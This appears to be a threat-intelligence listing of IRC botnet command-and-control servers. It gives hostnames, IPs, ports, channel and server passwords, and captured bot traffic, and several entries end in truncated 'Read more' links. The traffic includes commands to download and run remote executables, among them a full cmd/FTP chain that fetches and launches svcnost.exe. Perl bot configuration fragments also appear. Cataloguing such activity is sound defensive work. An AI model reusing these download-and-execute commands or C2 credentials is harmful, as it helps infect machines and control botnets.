bt1.divalium.com 205.234.236.13 Outgoing connection to remote server: bt1.yakizzy.com TCP port 7654 Remote Host Port Number 109.109.131.201 80 213.251.170.52 80 205.234.236.13 7654 PASS ngrBot NICK n{US|XPa}hevmduk USER hevmduk 0 0 :hevmduk JOIN #oldgold noKIDs PRIVMSG #oldgold :[d=”http://raystewart.biz/banners/32.exe” s=”163840 bytes”] Updated bot file “C:Documents and SettingsUserNameApplication DataFdxaxf.exe” – Download retries: 0 infos about hosting: http://whois.domaintools.com/205.234.236.13
id.uplink24.org(botnet hosted in Russian Federation Donekoservice Ltd)
Remote Host Port Number 192.168.62.2 445 69.10.52.149 80 74.206.242.164 80 91.201.66.5 1234 NICK [N00_USA_XP_8141634]x MODE [N00_USA_XP_8141634]x A -ix JOIN #a1 PRIVMSG [N00_USA_XP_8141 @ :download; File download: 76.5KB to: C:up2.exe @ 76.5KB/sec. PRIVMSG #spam :HTTP SET http://black-cash.com/a11.exe @ :download; Created process: “C:up2.exe”, PID: @ :scan; Sequential Port Scan started on 192.168.62.0:445 with a delay of 3Read more...
erofolio.no-ip.biz(USA hecker using rat in United States Asheville Charter Communications)
erofolio.no-ip.biz 96.37.234.231 127.0.0.1 127.0.0.1 Outgoing connection to remote server: erofolio.no-ip.biz TCP port 79 Outgoing connection to remote server: 127.0.0.1 TCP port 79 IRCD server inside: erofolio.no-ip.biz 96.37.234.231 Outgoing connection to remote server: erofolio.no-ip.biz TCP port 6667 Chanels: #ganja #test NICK New|USA|1244024|XP USER 0685714 “” “lol” :0685714 JOIN #test PRIVMSG #test :DoWnLoaDeD & ExECuTeD! home ipRead more...
irc.chimon.us(botnet hosted in United Kingdom Xsserver-eu)
178.239.57.79:6567 Nick: [SI|AUT|00|P|13931] Username: XP-1861 Server Pass: s1m0n3t4 Joined Channel: #nil# with Password c1rc0dusoleil Channel Topic for Channel #nil#: “.desfi http://img104.herosh.com/2011/04/07/732104231.gif c:WINDOWSsystm.exe 1” Private Message to Channel #nil#: “[Dl]: File download: 100.0KB to: c:WINDOWSsystm.exe @ 50.0KB/sec.” Private Message to Channel #nil#: “[Dl]: Created process: “c:WINDOWSsystm.exe”, PID: “ infos about hosting: http://whois.domaintools.com/178.239.57.79
iexplorer.yi.org(ccteam bots hosted in United States Eugene Eugene Freezing & Storage)
iexplorer.yi.org:6667 nick=O|XP|0-1|EFYRZ anick=U|0-1|K8Mh6 chanels: n0=#explorer n1=#BotLand n2=#BotLand,cCTeam n3=#Establish,cCTeam !cmd /c echo open cCTeamFtp.yi.org 21 >> ik &echo user ccteam10 765824 >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit infos about hosting: http://whois.domaintools.com/216.210.179.67
173.242.123.150(botnet hosted in United States Clarks Summit Volumedrive)
Remote Host Port Number 173.242.123.150 2222 PASS google_l0[N5_1]xk-t.tmp 67.212.77.13 80 74.102.33.220 82 JOIN #Mohamed NICK {N}|USA|XP|COMPUTERNAME|058197 USER dpamqi “” “yggj” :COMPUTERNAME PRIVMSG #Mohamed :New Servant. * Now talking in #Mohamed * |HUN|PC|424794 (jwhejb@hideme-54F88E80.pool.invitel.hu) has joined #Mohamed http://adf.ly/17NrU Visited! * |FRA|XP|417579 (ugvfbm@5BB43577.39EEB631.99A5F1C9.IP) has joined #Mohamed http://adf.ly/17NrT Visited! http://adf.ly/17NrR Visited! http://adf.ly/17NrT Visited! http://adf.ly/17NrU Visited! http://adf.ly/17NrU Visited! http://adf.ly/17NrURead more...
213.246.113.100(botnet hosted in United Kingdom Namesco Limited)
Remote Host Port Number 213.246.113.100 81 NICK n[USA|XP|COMPUTERNAME]dlewojc USER n “” “lol” :n JOIN #bob# infos about hosting: http://whois.domaintools.com/213.246.113.100
200.75.12.211(linux bots hosted in Chile Santiago Budnik Hnos. S.a)
my $server = “200.75.12.211”; my $port = “7029”; my $nick = “kokoreh”.(int(rand(99))); my $chan = “#dollar”; my $admin = “byz9991”; Current Local Users: 68 Max: 452 Current Global Users: 68 Max: 577 infos about hosting: http://whois.domaintools.com/200.75.12.211
shkodra.rr.nu(linux bots hosted in United States Scranton Network Operations Center Inc)
$servidor=’shkodra.rr.nu’ unless $servidor; my $porta=’6667′; my @canais=(“#al#”); my @adms=(“PrEdAtOr”); There are 1 users and 222 invisible on 1 servers 1 operator(s) online 7 channels formed I have 223 clients and 0 servers – Current Local Users: 223 Max: 561 Current Global Users: 223 Max: 561 infos about hosting: http://whois.domaintools.com/64.120.164.197
213.229.107.27(botnet hosted in United Kingdom Canonical Range For Bs2-hp1-le)
Remote Host Port Number 213.229.107.27 2345 PASS xxx 213.229.107.27 1234 PASS xxx 216.178.38.224 80 216.178.39.11 80 64.208.241.41 80 MODE NEW-[USA|00|P|31622] -ix JOIN #!gf! test PONG 22 MOTD NICK NEW-[USA|00|P|31622] USER XP-0160 * 0 :COMPUTERNAME UPDATE: NICK NEW-[USA|00|P|94381] USER XP-5513 * 0 :COMPUTERNAME MODE NEW-[USA|00|P|94381] -ix JOIN #!nn! test PONG 22 MOTD Note: Capability to manipulateRead more...